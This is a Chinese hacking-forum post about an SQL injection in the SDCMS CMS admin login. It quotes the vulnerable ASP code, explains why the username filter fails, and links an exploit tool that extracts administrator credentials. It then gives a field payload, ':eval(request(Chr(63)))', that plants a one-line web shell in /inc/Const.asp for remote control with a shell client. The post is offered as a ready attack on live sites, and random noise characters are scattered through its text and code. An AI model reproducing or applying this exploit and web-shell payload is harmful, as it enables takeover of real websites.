找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3509|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥4 e  F3 G4 U* Y3 Z2 a4 ?
漏洞文件:后台目录/index.asp. E/ p$ g6 Z+ \0 {1 U. `

8 D, \/ f8 \' E' X$ YSub Check; y8 b8 ]( e1 x0 b; v
    Dim username,password,code,getcode,Rs3 X) n$ B1 j; }8 }1 A' u) y# F
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub1 i" ~. X& X7 s, U4 _+ M9 ^' i. K
    username=FilterText(Trim(Request.Form("username")),1)
& l; O4 Z( q, |" p3 ]    password=FilterText(Trim(Request.Form("password")),1)
# M6 J& z4 v+ H" {    code=Trim(Request.Form("yzm"))
% h" @' R5 p; H3 q" a* s- j. D  r    getcode=Session("SDCMSCode")
1 u7 y* r- p1 E, d    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died* m! O9 F! Z8 Q4 Y& w0 B4 ]
    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied
3 L5 @! A6 R/ d) a* z, g$ `+ z2 M* Y    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied
7 h! I2 Y/ }1 z9 S& Q# M    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied
# |* v' X. f& r    IF username="" or password="" Then) K5 h6 V# u/ o" ~( c) u5 e
        Echo "用户名或密码不能为空"ied* o2 W$ L+ r% @" A' c/ n
    Else9 \5 P( P! B* y3 B; f
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")' u: W% D; n8 g0 d2 v
        IF Rs.Eof Then& v4 Q5 l8 v, G4 E3 X8 f. s
            AddLog username,GetIp,"登录失败",1# y8 H9 R( f: W/ O
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
* v0 [, C. Q" q- [+ |0 a9 I: w        Else
; d; A2 z5 t, K- j% z            Add_Cookies "sdcms_id",Rs(0)8 W- c8 U3 U( Q0 Z- f. }, J/ l
            Add_Cookies "sdcms_name",username! m" j4 L8 V+ h# X
            Add_Cookies "sdcms_pwd",Rs(2)+ d" j( `3 _# k: W9 s, V( L
            Add_Cookies "sdcms_admin",Rs(3). @1 T3 Z3 U3 s1 N9 Z
            Add_Cookies "sdcms_alllever",Rs(4)9 h& t3 ]% Y7 h3 c* m
            Add_Cookies "sdcms_infolever",Rs(5)
; C: U2 U6 C4 Q& d            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")/ w( d3 V0 W- w  {9 Y* o
            AddLog username,GetIp,"登录成功",1
- A2 k/ w2 u1 o4 F) {* R" p            '自动删除30天前的Log记录, O+ i. X. ]6 w2 G9 }/ u7 w. Z2 p
            IF Sdcms_DataType Then; T3 O0 F* `+ Q! E" i' ]
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
9 E; E' ~) c+ U' N1 _# e            Else
6 a3 i  ]! \; r- `4 M  c; A3 i                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")- x! o/ B5 d' l, A4 S6 [
            End IF/ ~2 X% X! r  u1 ]/ c
            Go("sdcms_index.asp"); ~6 \% n1 H) z+ m  r
        End IF
+ O9 _0 i5 L" ?! @( M        Rs.Close8 O% C2 ^7 ?0 b' q- n- g+ o5 I- ]
        Set Rs=Nothing
; {( u. W$ k2 D% |    End IF
/ y3 l5 ?( X- R: A4 j: tEnd Sub
: `+ H: _0 i3 ]/ m2 [; s
/ z0 D$ k( R& s* i7 Z# S’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码' E- [. ?- e# w7 T% E% @
3 l( c5 @0 c* n% g  L
Function FilterText(ByVal t0,ByVal t1)
+ C/ q* p- d2 O+ z$ P    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
8 {) M8 R0 x* ]$ r2 B# _- s+ C& d    t0=Trim(t0). p+ ~6 o/ u/ A$ c
    Select Case t19 @7 d% }! H4 {6 [; i3 P3 N6 k
        Case "1"
3 T# \) `  I: V            t0=Replace(t0,Chr(32),"")" t( v5 A% _/ P  B5 ?
            t0=Replace(t0,Chr(13),"")7 `# a, m$ O/ O
            t0=Replace(t0,Chr(10)&Chr(10),"")
* j2 \5 t/ v/ H* u  |, q' r            t0=Replace(t0,Chr(10),"")
) |- H  k/ R9 N# R8 N        Case "2"
* c4 r( s; W* [! j            t0=Replace(t0,Chr(8),"")'回格
8 k3 f" V' |* ]4 Z5 f8 e            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
: w' Q5 B5 _+ i            t0=Replace(t0,Chr(10),"")'换行; X, b; h4 I& j- k/ q( a. R
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)6 E1 f: z: a3 Z) ^4 i
            t0=Replace(t0,Chr(12),"")'换页" e1 j: e0 g" Z  f$ F
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合  P! y+ u' z1 M6 N
            t0=Replace(t0,Chr(22),"")
0 j  X& b$ [& M, Y0 ]            t0=Replace(t0,Chr(32),"")'空格 SPACE# ~4 s9 k, y  y: r/ F1 E
            t0=Replace(t0,Chr(33),"")'!
0 a- w" g1 _; k/ C            t0=Replace(t0,Chr(34),"")'"9 R8 s  s1 T* `- Z4 q
            t0=Replace(t0,Chr(35),"")'#
2 t! _' U8 z+ Y7 R) I. H            t0=Replace(t0,Chr(36),"")'$, T& n: D- u! l$ f( [+ Z
            t0=Replace(t0,Chr(37),"")'%
$ ^( V5 D* s5 V            t0=Replace(t0,Chr(38),"")'&
. L* W  G1 T7 X" `. f            t0=Replace(t0,Chr(39),"")'') ]+ f" m. Z3 y2 w' s* V  N0 n; J
            t0=Replace(t0,Chr(40),"")'(, @1 c) h4 n$ e  c' M, H5 k
            t0=Replace(t0,Chr(41),"")')" Q# K" Q2 O" e' Q. Q/ |
            t0=Replace(t0,Chr(42),"")'*6 \' R4 S5 l  G+ M
            t0=Replace(t0,Chr(43),"")'+
3 @. M# o; s/ j) U& D            t0=Replace(t0,Chr(44),"")',
+ d& u% \9 k( g) h6 T            t0=Replace(t0,Chr(45),"")'-3 B, _0 Y# q7 h! l
            t0=Replace(t0,Chr(46),"")'.) ]: H7 Y/ q6 H% u" I' C2 g, D
            t0=Replace(t0,Chr(47),"")'/! S3 v  i: w6 z" p
            t0=Replace(t0,Chr(58),"")':
0 E3 o. I; |4 c1 \5 r            t0=Replace(t0,Chr(59),"")';
, G( b2 \2 N7 p            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>5 H8 W' Z; G) o$ m
            t0=Replace(t0,Chr(63),"")'?% U1 C" @- A9 u4 @
            t0=Replace(t0,Chr(64),"")'@
9 q* p8 ^: K; P, X3 Q1 B8 O            t0=Replace(t0,Chr(91),"")'\
7 |( k% _/ B# F2 o1 Q1 P5 F            t0=Replace(t0,Chr(92),"")'\& j  A5 I% h( [) x4 y1 @5 D
            t0=Replace(t0,Chr(93),"")']
- b6 g+ s8 j+ ?  `- @" R9 g            t0=Replace(t0,Chr(94),"")'^9 s6 R1 K6 \, K5 I
            t0=Replace(t0,Chr(95),"")'_
2 _* D  b. p9 @* h  U# w, h, j' o            t0=Replace(t0,Chr(96),"")'`
% O# y2 f: O1 m4 W            t0=Replace(t0,Chr(123),"")'{
7 f- E$ x, @6 b( j+ a9 Z            t0=Replace(t0,Chr(124),"")'|4 C) E& G, B' l+ n) w3 Q
            t0=Replace(t0,Chr(125),"")'}, }8 f8 k/ v. r: e) f
            t0=Replace(t0,Chr(126),"")'~  q% [) H4 C" ~  K" r. ^
    Case Else5 ?# l+ `; |. w' q5 f
        t0=Replace(t0, "&", "&")% A& b. f& [' _
        t0=Replace(t0, "'", "'")
" y8 K) _# @0 {5 n% m" d5 v, {        t0=Replace(t0, """", """)
3 \4 {1 H& T7 X- v. h8 u# E7 R        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
7 {% a4 R$ T+ ^6 n: C, _4 x    End Select
5 b6 Q- w1 S* R1 g    IF Instr(Lcase(t0),"expression")>0 Then
, Y" g# F* t7 \$ y( J7 v/ e/ e        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)( J8 N, C4 v; _; u1 z
    End If
+ N7 a# }- y4 ]! ?    FilterText=t03 U* s0 W' F0 e/ W  K
End Function
- }9 n5 F5 b3 p& x$ F2 h" {8 f
; R/ _8 O$ p6 n. A$ Q5 u' f看到没。直接参数是1 只过滤9 D! r) N" z8 q8 Q
                        t0=Replace(t0,Chr(32)," ")
' d/ C3 R3 A, R4 T0 e                        t0=Replace(t0,Chr(13),"")& f/ w7 `/ b) b( B4 o% k
                        t0=Replace(t0,Chr(10)&Chr(10),"" }3 b; h0 l5 f
")
  V5 t  \, u" h' |& R+ k4 G1 |  T/ G+ D3 l4 G                        t0=Replace(t0,Chr(10),"2 v6 i8 c  i% S% ]1 t5 c! U/ F
")
4 Z: L+ H6 y$ O6 G. f( {8 O漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
4 N2 L3 q, ?6 KEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
+ j; R- V" T4 F
# D2 K9 A" m7 `  \" d测试:
+ ~5 R( e( E# W+ }; }" e
% Y0 h: X6 Z  @1 w( |) O/ Y1 w, s5 D, A/ v' ^3 E* Q, m
现在输入工具上验证码,然后点OK
3 {% [6 D! e5 ]! z" L( c; O9 l) ~" T" V  O- E- G5 w; ~& {) Z

  E; ^# B3 P) ?看到我们直接进入后台管理界面了,呵呵!
# I4 ?  @. g) }) y% v* d, ~$ k* b# _9 `

& ?3 X8 J4 g$ l- h- l* Y0 N
( [3 ~/ P& f8 f7 T) a+ X% W: P3 [% [这样直接进入后台了。。。。
/ \& g$ n: L! M0 z% w
" z+ n8 }% J& \& A4 V7 ^ 9 E( ^# S/ d  s# M! h8 m

* _; |1 M4 z. v' H9 n5 o* z' YSDCMS提权:" y) P6 I. M* e! b4 _$ k9 S4 t
. w9 U( _$ E/ Q1 U" X
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?! Z+ o" l( Z4 r9 L/ j: n# o: }

. k' D. J) f0 j8 V9 Q
- H  r  O% ]3 }  h. T8 R/ k
) b3 t, V+ r5 p% D% gOK,现在用菜刀连接下!
( G  k% ~) J: [" x& l6 ], P" {  i& G9 \" C( |; s8 y; \$ R7 J

" ?" l- Z" O' t. b
1 q+ I/ q6 ^4 N: M/ n6 v. {
# ?+ g6 r" W8 y! U5 ~! Q, n: I+ p, c4 z2 }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表